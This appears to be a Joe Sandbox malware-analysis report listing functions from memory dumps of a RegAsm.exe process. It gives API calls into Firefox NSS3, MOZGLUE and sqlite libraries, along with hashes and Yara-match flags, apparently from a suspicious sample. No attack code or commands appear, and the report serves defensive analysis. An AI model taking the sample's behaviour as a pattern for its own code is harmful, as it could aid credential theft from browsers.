Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$CondErrorWait
String ID:
API String ID: 3904631464-0
Opcode ID: 11247e53d57c9795ee5cdeed099711e05eb9c9efef44a2fd7bb039f39c796ed9
Instruction ID: 1c3cd73f2d16a1fa5fae506fdb1cd175067477ac873f66c806bb7c0c16ba4781
Opcode Fuzzy Hash: 11247e53d57c9795ee5cdeed099711e05eb9c9efef44a2fd7bb039f39c796ed9
Instruction Fuzzy Hash: 0E11E6B5B042109BEB10BF28DC4196A77B8BF0632DB140129ED4997E11EB22FD148F97

Function 6C3E08D0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6C3E09B3,0000001A,?), ref: 6C3E08E9

Part of subcall function 6C3D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D08B4

SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6C3E08FD

Part of subcall function 6C3CFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C3C8D2D,?,00000000,?), ref: 6C3CFB85
Part of subcall function 6C3CFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C3CFBB1

SECITEM_AllocItem_Util.NSS3(?,00000000,00000001), ref: 6C3E0939
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C3E0953

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$ErrorItem_$AllocAlloc_ArenaCopyFindTag_memcpy
String ID:
API String ID: 2572351645-0
Opcode ID: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction ID: 25972011590540c741bf762ef55be47abd2d0498360c095edcd5ef8f4f68a27f
Opcode Fuzzy Hash: 2e99b12f1c9af86e3f260138aaee893669f473c170dc6a84dddc8e352a0eca88
Instruction Fuzzy Hash: D001C4B1A0165A6BFB149E359C10B6737989F48318F10443AFC5AC6E61EF22E8149FA5

Function 6C3FEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C3E7FFA,?,6C3E9767,?,8B7874C0,0000A48E), ref: 6C3FEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C3E7FFA,?,6C3E9767,?,8B7874C0,0000A48E), ref: 6C3FEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C3E7FFA,?,6C3E9767,?,8B7874C0,0000A48E), ref: 6C3FEE14

Part of subcall function 6C3D0BE0: malloc.MOZGLUE(6C3C8D2D,?,00000000,?), ref: 6C3D0BF8
Part of subcall function 6C3D0BE0: TlsGetValue.KERNEL32(6C3C8D2D,?,00000000,?), ref: 6C3D0C15

memcpy.VCRUNTIME140(?,?,6C3E9767,00000000,00000000,6C3E7FFA,?,6C3E9767,?,8B7874C0,0000A48E), ref: 6C3FEE33

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 1eadc3daa55006f625917577e2450f1f64e9235d2239ff58f3236e20aac22e1a
Instruction ID: 16f561a5d6515dd4585fa586ea62d92e659671d624c503866d0901c9dd123283
Opcode Fuzzy Hash: 1eadc3daa55006f625917577e2450f1f64e9235d2239ff58f3236e20aac22e1a
Instruction Fuzzy Hash: C311A775A04706AFD7109E65EC84B06B3A8EB1035DF104935E92983A00E331F4558FE1

Function 6C398DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C398DE7
EnterCriticalSection.KERNEL32 ref: 6C398DFC
PR_Unlock.NSS3 ref: 6C398E2D
PR_SetError.NSS3 ref: 6C398E49

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: b679f1aa37a70e9c814b33fd05699f8fd3aff0f31b10c24e4100c02d53fad8ec
Instruction ID: 8db5c239bdd7fcc7f74e31896f5d17b91b6defe2a68c70d486a8c0df5316866c
Opcode Fuzzy Hash: b679f1aa37a70e9c814b33fd05699f8fd3aff0f31b10c24e4100c02d53fad8ec
Instruction Fuzzy Hash: E0114C75A09A109BDB00FF78D4885AABBF4FF45758F014969EC8897B00E730E894CBD2

Function 00417980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00420E00,00000000,?), ref: 004179B0
HeapAlloc.KERNEL32(00000000,?,?,?,?,00420E00,00000000,?), ref: 004179B7
GetLocalTime.KERNEL32(?,?,?,?,?,00420E00,00000000,?), ref: 004179C4
wsprintfA.USER32 ref: 004179F3

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction ID: 87643aaeb61937c0b28f46190d625ee9f9fa63f6271d25fb840393839df263de
Opcode Fuzzy Hash: d25a51ab8cf6fccfa60616151632c2f03c452b8beb60607c736287f9abe72aa2
Instruction Fuzzy Hash: 6D1139B2944118ABCB14DFC9DD45BBEB7F9FB4DB11F10421AF605A2280E3395940CBB5

Function 6C41AC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C405F17,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C41AC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C405F17,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C41ACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C41ACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C40AAD4), ref: 6C41ACDB

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 88f34f008049dbe2980e14f150875dfae36203b3dc5202bc90246083f1c4c78c
Instruction ID: 1611b4820d6a834ae8d50838edb2f5c538b2282928950e9a5591d291db0cc231
Opcode Fuzzy Hash: 88f34f008049dbe2980e14f150875dfae36203b3dc5202bc90246083f1c4c78c
Instruction Fuzzy Hash: 950140B1601B019BE750EF6AD908B53B7E8BF00656B104839D89AD3F10E732E159CB91

Function 6C3C88E0 Relevance: 6.0, APIs: 4, Instructions: 47COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,?,6C3D08AA,?), ref: 6C3C88F6
EnterCriticalSection.KERNEL32(?,?,?,?,6C3D08AA,?), ref: 6C3C890B
PR_NotifyCondVar.NSS3(?,?,?,?,?,6C3D08AA,?), ref: 6C3C8936
PR_Unlock.NSS3(?,?,?,?,?,6C3D08AA,?), ref: 6C3C8940

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CondCriticalEnterNotifySectionUnlockValue
String ID:
API String ID: 959714679-0
Opcode ID: 65d763f9f965519a67d0dff3ecfe0ac221c4885b497c138ca39307fae112252d
Instruction ID: 03f712cb7c3c052dc21b705a86f6587dbcd792049da4f5fd15d4e26394f9fad9
Opcode Fuzzy Hash: 65d763f9f965519a67d0dff3ecfe0ac221c4885b497c138ca39307fae112252d
Instruction Fuzzy Hash: 51011BB5A056059BDB00FF79D484659BBF4FB06398F054A2AD88887B01E731EA94CFD3

Function 6C400840 Relevance: 6.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C4D2F88,6C400660,00000020,00000000,?,?,6C402C3D,?,00000000,00000000,?,6C402A28,00000060,00000001), ref: 6C400860

Part of subcall function 6C2F4C70: TlsGetValue.KERNEL32(?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4C97
Part of subcall function 6C2F4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CB0
Part of subcall function 6C2F4C70: PR_Unlock.NSS3(?,?,?,?,?,6C2F3921,6C4D14E4,6C43CC70), ref: 6C2F4CC9

TlsGetValue.KERNEL32(00000020,00000000,?,?,6C402C3D,?,00000000,00000000,?,6C402A28,00000060,00000001), ref: 6C400874
EnterCriticalSection.KERNEL32(00000001), ref: 6C400884
PR_Unlock.NSS3 ref: 6C4008A3

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$CallOnce
String ID:
API String ID: 2502187247-0
Opcode ID: 2091451ac2d10a2beb2d7fe98d97877229c83cb6bff9f21e4a1783873e25e3cd
Instruction ID: ca90d6988b82d07ad3da86dbbe4c72b2e5d3299e27817b6e529c815ff4b2542b
Opcode Fuzzy Hash: 2091451ac2d10a2beb2d7fe98d97877229c83cb6bff9f21e4a1783873e25e3cd
Instruction Fuzzy Hash: 6601FC76B402446BEB11FF25EC45E557734FB5731EF080579EC0852A02EF21A85487D1

Function 6C48CC50 Relevance: 6.0, APIs: 4, Instructions: 29COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?), ref: 6C48CC61
free.MOZGLUE ref: 6C48CC6E
DeleteCriticalSection.KERNEL32(?), ref: 6C48CC80
free.MOZGLUE(?), ref: 6C48CC87

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: CriticalDeleteSectionfree
String ID:
API String ID: 2988086103-0
Opcode ID: f53b2e1141cf2a9f588b83c027dbb53e76a585bd926de5bd77d55cb077eb38fa
Instruction ID: 6a40efae13c154732c0f5d9f03bde7aea288dd9a1be27c7efa047660e5068262
Opcode Fuzzy Hash: f53b2e1141cf2a9f588b83c027dbb53e76a585bd926de5bd77d55cb077eb38fa
Instruction Fuzzy Hash: 41E065767006089FCA10FFA9DC48C8777BCEE492703150525EA91C3710D232F905CBE1

Function 004011D0 Relevance: 6.0, APIs: 4, Instructions: 26COMMON

Download Yara Rule

APIs

CreateDCA.GDI32(0118A9F8,00000000,00000000,00000000), ref: 004011E2
GetDeviceCaps.GDI32(?,0000000A), ref: 004011F1
ReleaseDC.USER32(00000000,?), ref: 00401200
ExitProcess.KERNEL32 ref: 00401211

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: CapsCreateDeviceExitProcessRelease
String ID:
API String ID: 272768826-0
Opcode ID: 260d31c59a6825f795d57121dd492f178e6e6c923e6ea3e29db046fa5edd3e89
Instruction ID: ed9884e5d74d46977e8df864d01039e67b6c1105ae855f948e647e2f19da04a8
Opcode Fuzzy Hash: 260d31c59a6825f795d57121dd492f178e6e6c923e6ea3e29db046fa5edd3e89
Instruction Fuzzy Hash: B2F0E57DAC0304BFE710AFE0DC49B6D7BB6E745701F109159F605A62D0D6755501CB52

Function 6C3C4D10 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 106COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE001,00000000), ref: 6C3C4D57
PR_snprintf.NSS3(?,00000008,%d.%d,?,?), ref: 6C3C4DE6

Strings

%d.%d, xrefs: 6C3C4DDE

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: ErrorR_snprintf
String ID: %d.%d
API String ID: 2298970422-3954714993
Opcode ID: 5fdaed7243bf164851b2591adb5003f26df903735f038724332d6fb43b62dbf5
Instruction ID: 852846fe698b9d4d4ebf9aa043952ae0fdb82668ba19c3d89dac7da6bdb1de88
Opcode Fuzzy Hash: 5fdaed7243bf164851b2591adb5003f26df903735f038724332d6fb43b62dbf5
Instruction Fuzzy Hash: 8F31C7B2E042586BEB10ABA59C45FFF7768DF44308F050429ED559B682EB319D05CFA3

Function 00418B60 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 60timeCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A740: lstrcpy.KERNEL32(B,00000000), ref: 0041A788

GetSystemTime.KERNEL32(?,01190CD8,004205AE,?,?,?,?,?,?,?,?,?,00404963,?,00000014), ref: 00418B86

Strings

cI@, xrefs: 00418B6C, 00418BE5, 00418BF0, 00418C04, 00418BD3, 00418BF3
cI@, xrefs: 00418BB1, 00418BE1, 00418BE4

Memory Dump Source

Source File: 00000002.00000002.2242984052.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2242984052.000000000045A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000485000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000488000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.0000000000492000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000004EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000050F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000051E000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.00000000005CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000064A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2242984052.000000000065C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: SystemTimelstrcpy
String ID: cI@$cI@
API String ID: 62757014-1697673767
Opcode ID: aa47265d88191fa58763f5682c75fb926ce4e7207e02c7c3cde0455718616323
Instruction ID: 15f3dfc6f8d56a301bf8b2a7a9260479b6db203ca669f730be279af5ebf73ee3
Opcode Fuzzy Hash: aa47265d88191fa58763f5682c75fb926ce4e7207e02c7c3cde0455718616323
Instruction Fuzzy Hash: 7111E971D00008AFCB04EFA9C8919EE77B9EF58314F04C05EF01667241DF38AA86CBA6

Function 6C460900 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?), ref: 6C460917
sqlite3_value_text.NSS3(?), ref: 6C460923

Part of subcall function 6C3213C0: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,6C2F2352,?,00000000,?,?), ref: 6C321413
Part of subcall function 6C3213C0: memcpy.VCRUNTIME140(00000000,R#/l,00000002,?,?,?,?,6C2F2352,?,00000000,?,?), ref: 6C3214C0

Strings

error in %s %s%s%s: %s, xrefs: 6C460944

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$memcpystrlen
String ID: error in %s %s%s%s: %s
API String ID: 1937290486-1007276823
Opcode ID: 9ec3eba14ebccf1fd651c47e56ea2ae96a5d4a2e88078a7d6f54d49d830b71bb
Instruction ID: 61b8d36ef2f97c8c70bf701d54ff0bbc4ccbe80cc8d8922ec1027e76e3e21b6a
Opcode Fuzzy Hash: 9ec3eba14ebccf1fd651c47e56ea2ae96a5d4a2e88078a7d6f54d49d830b71bb
Instruction Fuzzy Hash: 490108B6E041485FEB00AE58EC01DBABB75EFC5218F144429ED885B715F732AD148BA2

Function 6C3E4CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3('8>l,00000000,00000000,?,?,6C3E3827,?,00000000), ref: 6C3E4D0A

Part of subcall function 6C3D0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C3D08B4

SECITEM_ItemsAreEqual_Util.NSS3(00000000,00000000,00000000), ref: 6C3E4D22

Part of subcall function 6C3CFD30: memcmp.VCRUNTIME140(?,AF840FC0,8B000000,?,6C371A3E,00000048,00000054), ref: 6C3CFD56

Strings

'8>l, xrefs: 6C3E4D07

Memory Dump Source

Source File: 00000002.00000002.2275954124.000000006C2F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C2F0000, based on PE: true

Associated: 00000002.00000002.2275937065.000000006C2F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277574922.000000006C48F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277813857.000000006C4CE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277834069.000000006C4CF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277852955.000000006C4D0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2277872367.000000006C4D5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c2f0000_RegAsm.jbxd

Similarity

API ID: Util$Equal_ErrorFindItemsTag_memcmp
String ID: '8>l
API String ID: 1521942269-857262781
